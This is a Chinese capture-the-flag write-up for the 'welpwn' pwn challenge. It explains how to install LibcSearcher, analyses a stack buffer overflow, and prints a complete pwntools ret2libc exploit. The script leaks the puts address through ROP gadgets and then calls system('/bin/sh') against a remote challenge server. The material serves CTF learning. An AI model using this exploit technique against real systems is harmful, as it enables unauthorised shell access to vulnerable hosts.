pwn篇:攻防世界进阶welpwn,LibcSearcher使用
攻防世界welpwn
(搬运一篇自己在CSDN写的帖子)
链接:https://blog.csdn.net/weixin_44644249/article/details/113781356
这题主要是考无Libc泄露地址和栈空间控制,在没有Libc的情况下,可以使用LibcSearcher进行动态匹配,匹配完成后会给出选项,选择libc的版本即可。如果不知道版本可以一个个试。
安装LibcSearcher
git clone https://github.com/lieanu/LibcSearcher.git
文件有点大,100多Mb
配置LibcSearcher,可以直接install,会自动build
cd LibcSearcher
python setup.py install
基本使用方法
from LibcSearcher import *
io = process('xxxxx')
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
......一系列操作,将got地址泄露出来......
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
puts_got_addr = io.recv()# 接收函数的got地址,比如我这里拿到puts的地址
libc = LibcSearcher('puts',puts_got_addr)
libc_base = puts_got_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
........
继续构造payload,最终调用system
注意: 如果出现“No Moudule Name LibcSearcher”,将py文件复制到LibcSearcher根目录下,或是将LibcSearcher整个文件夹复制一份到py文件所在的文件夹下。
查看保护

IDA分析
主函数:

echo函数:

解题思路:
- 主函数打印欢迎信息,读取了1024到缓冲区。调用echo函数
- echo函数先将1024字节信息复制了一份到s2里面,但是s2只有16字节大小,这里就有溢出。
- 只要在输入的时候大于16+8,就会覆盖到ret地址。
- 通过调试可以发现s2的缓冲区刚好在buf的上面,中间只有一些返回地址
- 也就是说,在覆盖地址后,还需要构造24字节的pop清栈,就是pop 3次,才能返回到我们想去的地址。
EXPLOIT
from pwn import *
from LibcSearcher import *
s = remote('111.200.241.244','44577')
#s = process("./welpwn")
elf = ELF("./welpwn")
context.log_level = 'debug'
# PPPR,清理栈空间
pop_3 = 0x000000000040089e # pop r13 ; pop r14 ; pop r15 ; ret
pop_rdi = 0x00000000004008a3 # pop rdi ; ret
pop_rsi = 0x00000000004008a1 # pop rsi ; pop r15 ; ret
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_func = elf.symbols['main']
padding = b'a'*24
def leak():
s.recvuntil('RCTF\n')
#这里加两次padding是通过调试发现的,因为会调用两次PPPR
payload = padding + p64(pop_3)+ padding + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_func)
s.send(payload)
s.recvuntil('RCTF\n')
junk = s.recv(27) #通过debug信息得知有27字节的垃圾信息,才是puts的地址
print('junk == %s'%junk)
puts_addr = u64(s.recv(6)+b'\x00\x00')# 对地址进行处理,组合成8字节进行解析
return puts_addr
puts_addr = leak()
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts') #得出libc的基址
system = libc_base + libc.dump('system') #找到system的地址
binsh = libc_base + libc.dump('str_bin_sh') #找到binsh字符串的地址
print('libc == %s'%hex(libc_base))
print('system == %s'%hex(system))
print('binsh == %s'%hex(binsh))
def overflow():
# 加了两次padding,原理同上
payload = padding + p64(pop_3) + padding + p64(pop_rdi)+p64(binsh)+p64(system)
s.send(payload)
overflow()
s.interactive()
运行结果
这里我选的是第三个libc才成功

总结
尝试过DynELF的方式,但是无论怎样都获取不到地址,观察发现发送的数据中原来puts的地址,被改成了ELF文件头信息,所以获取到的地址是错误的,个人感觉LibcSearcher更好用。
pwn篇:攻防世界进阶welpwn,LibcSearcher使用的更多相关文章
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- dice_game攻防世界进阶区
dice_game XCTF 4th-QCTF-2018 前言,不得不说,虽然是个简单题但是还是要记录一下,来让自己记住这些东西. 考察的知识点是: 1.cdll_loadlibrary加载对应库使得 ...
- 攻防世界-进阶-[re1-100]
一.收集程序信息 64位的ELF文件,没有壳 二.放入IDA 使用64位IDA打开文件,先进行静态分析查看伪代码,进入main函数 通过这段可以得知输入的内容存储到了input中(这里我将bufwri ...
- 攻防世界进阶区MISC ——56-60
56.low 得到一张bmp,世纪之吻,扔进kali中,binwalk,zsteg,无果,再放进stegsolve中,虽然发现小的数据块,但是过滤通道得不到任何信息,猜测是要用脚本进行 # lsb隐写 ...
- 进阶区forgotg攻防世界
攻防世界进阶区--forgot 前言,这题中看不中用啊宝友!!! 1.查看保护 第一反应就是蛮简单的,32位. 2.获取信息(先运行程序看看) 装的可以,蛮多的东西. 但是就是中看不中用 3.ida ...
- 攻防世界 web进阶练习 NewsCenter
攻防世界 web进阶练习 NewsCenter 题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...
- 【攻防世界】高手进阶 pwn200 WP
题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...
- 【攻防世界】 高手进阶区 Recho WP
0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...
- 攻防世界_MISC进阶区_Get-the-key.txt(详细)
攻防世界MISC进阶之Get-the-key.txt 啥话也不说,咱们直接看题吧! 首先下载附件看到一个压缩包: 我们直接解压,看到一个文件,也没有后缀名,先用 file 看一下文件属性: 发现是是L ...
随机推荐
- HDU - 4300 Clairewd’s message (拓展kmp)
HDU - 4300 题意:这个题目好难读懂,,先给你一个字母的转换表,然后给你一个字符串密文+明文,密文一定是全的,但明文不一定是全的,求最短的密文和解密后的明文: 题解:由于密文一定是全的,所以他 ...
- Codeforces Round #697 (Div. 3) F. Unusual Matrix (思维,数学)
题意:给你一个矩阵\(a\)和\(b\),你可以对\(a\)的任意一行或任意一列的所有元素xor\(1\)任意次,问最终是否能够得到\(b\). 题解:由\(a\ xor\ b=c\),可得:\(a\ ...
- Codeforces Round #552 (Div. 3) C. Gourmet Cat (数学,模拟)
题意:你要带着你的喵咪一起去旅行,你的喵在星期\(1,4,7\)吃喵粮\(x\),在星期\(2,6\)吃喵粮\(y\),在星期\(3,5\)吃喵粮\(z\),你只有\(a\)个\(x\),\(b\)个 ...
- 51Nod - 1632
B国拥有n个城市,其交通系统呈树状结构,即任意两个城市存在且仅存在一条交通线将其连接.A国是B国的敌国企图秘密发射导弹打击B国的交通线,现假设每条交通线都有50%的概率被炸毁,B国希望知道在被炸毁之后 ...
- 牛客小白月赛28 D.位运算之谜 (位运算)
题意:给你两个正整数\(x\)和\(y\),求两个正整数\(a\),\(b\),使得\(a+b=x\),\(a\)&\(b\)=\(y\),如果\(a\),\(b\),输出\(a\ xor \ ...
- 第三方库:logger,自定义日志封装模块
为了使用方便,二次封装logger. import os import datetime from loguru import logger class Logings: __instance = N ...
- [APUE] 进程控制
APUE 一书的第八章学习笔记. 进程标识 大家都知道使用 PID 来标识的. 系统中的一些特殊进程: PID = 0: 调度进程,也称为交换进程 (Swapper) PID = 1: init 进程 ...
- Python_小程序
一.开发前的准备工作 1.申请AppID:一个账号对应一个小程序,个人/个体只能申请5个小程序 2.下载开发工具 二.小程序的文件结构 三. 1.数据绑定 1.1数据的设置 Page( data:{ ...
- 什么样的 SQL 不走索引
参考: MySQL 索引优化全攻略 索引建立的规则 1.能创建唯一索引就创建唯一索引 2.为经常需要排序.分组和联合操作的字段建立索引 3.为常作为查询条件的字段建立索引 如果某个字段经常用来做查询条 ...
- kubernetes实战-交付dubbo服务到k8s集群(六)使用blue ocean流水线构建dubbo-consumer服务
我们这里的dubbo-consumer是dubbo-demo-service的消费者: 我们之前已经在jenkins配置好了流水线,只需要填写参数就行了. 由于dubbo-consumer用的gite ...